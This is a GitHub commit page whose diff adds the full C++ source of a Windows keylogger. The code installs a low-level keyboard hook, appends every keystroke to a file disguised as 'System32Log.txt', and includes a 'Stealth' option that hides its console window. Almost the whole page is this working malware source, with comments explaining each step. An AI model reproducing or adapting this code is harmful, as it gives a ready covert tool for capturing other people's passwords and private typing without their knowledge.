-
Notifications
You must be signed in to change notification settings - Fork 627
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
rewrote code to use hooks as suggested in #17 merged files into one updated readme
- Loading branch information
1 parent
81b6f15
commit 5a71fce
Showing
4 changed files
with
130 additions
and
150 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,127 @@ | ||
#include <Windows.h> | ||
#include <iostream> | ||
|
||
// defines whether the window is visible or not | ||
// should be solved with makefile, not in this file | ||
#define visible // (visible / invisible) | ||
|
||
// variable to store the HANDLE to the hook. Don't declare it anywhere else then globally | ||
// or you will get problems since every function uses this variable. | ||
HHOOK _hook; | ||
|
||
// This struct contains the data received by the hook callback. As you see in the callback function | ||
// it contains the thing you will need: vkCode = virtual key code. | ||
KBDLLHOOKSTRUCT kbdStruct; | ||
|
||
int Save(int key_stroke, char *file); | ||
|
||
// This is the callback function. Consider it the event that is raised when, in this case, | ||
// a key is pressed. | ||
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam) | ||
{ | ||
if (nCode >= 0) | ||
{ | ||
// the action is valid: HC_ACTION. | ||
if (wParam == WM_KEYDOWN) | ||
{ | ||
// lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct. | ||
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam); | ||
|
||
// save to file | ||
Save(kbdStruct.vkCode, "System32Log.txt"); | ||
} | ||
} | ||
|
||
// call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops | ||
return CallNextHookEx(_hook, nCode, wParam, lParam); | ||
} | ||
|
||
void SetHook() | ||
{ | ||
// Set the hook and set it to use the callback function above | ||
// WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN. | ||
// The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the | ||
// function that sets and releases the hook. | ||
if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0))) | ||
{ | ||
MessageBox(NULL, L"Failed to install hook!", L"Error", MB_ICONERROR); | ||
} | ||
} | ||
|
||
void ReleaseHook() | ||
{ | ||
UnhookWindowsHookEx(_hook); | ||
} | ||
|
||
int Save(int key_stroke, char *file) | ||
{ | ||
if ((key_stroke == 1) || (key_stroke == 2)) | ||
return 0; | ||
|
||
FILE *OUTPUT_FILE; | ||
OUTPUT_FILE = fopen(file, "a+"); | ||
|
||
std::cout << key_stroke << '\n'; | ||
|
||
if (key_stroke == VK_BACK) | ||
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); | ||
else if (key_stroke == VK_RETURN) | ||
fprintf(OUTPUT_FILE, "%s", "\n"); | ||
else if (key_stroke == VK_SPACE) | ||
fprintf(OUTPUT_FILE, "%s", " "); | ||
else if (key_stroke == VK_TAB) | ||
fprintf(OUTPUT_FILE, "%s", "[TAB]"); | ||
else if (key_stroke == VK_SHIFT || key_stroke == VK_LSHIFT || key_stroke == VK_RSHIFT) | ||
fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); | ||
else if (key_stroke == VK_CONTROL || key_stroke == VK_LCONTROL || key_stroke == VK_RCONTROL) | ||
fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); | ||
else if (key_stroke == VK_ESCAPE) | ||
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); | ||
else if (key_stroke == VK_END) | ||
fprintf(OUTPUT_FILE, "%s", "[END]"); | ||
else if (key_stroke == VK_HOME) | ||
fprintf(OUTPUT_FILE, "%s", "[HOME]"); | ||
else if (key_stroke == VK_LEFT) | ||
fprintf(OUTPUT_FILE, "%s", "[LEFT]"); | ||
else if (key_stroke == VK_UP) | ||
fprintf(OUTPUT_FILE, "%s", "[UP]"); | ||
else if (key_stroke == VK_RIGHT) | ||
fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); | ||
else if (key_stroke == VK_DOWN) | ||
fprintf(OUTPUT_FILE, "%s", "[DOWN]"); | ||
else if (key_stroke == 190 || key_stroke == 110) | ||
fprintf(OUTPUT_FILE, "%s", "."); | ||
else | ||
fprintf(OUTPUT_FILE, "%c", key_stroke); | ||
|
||
// NOTE: Numpad-Keys seem to print as lowercase letters | ||
|
||
fclose(OUTPUT_FILE); | ||
return 0; | ||
} | ||
|
||
void Stealth() | ||
{ | ||
#ifdef visible | ||
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); // visible window | ||
#endif // visible | ||
|
||
#ifdef invisible | ||
ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); // invisible window | ||
#endif // invisible | ||
} | ||
|
||
void main() | ||
{ | ||
// visibility of window | ||
Stealth(); | ||
|
||
// Set the hook | ||
SetHook(); | ||
|
||
// loop to keep the console application running. | ||
MSG msg; | ||
while (GetMessage(&msg, NULL, 0, 0)) | ||
{ | ||
} | ||
} |
This file was deleted.
Oops, something went wrong.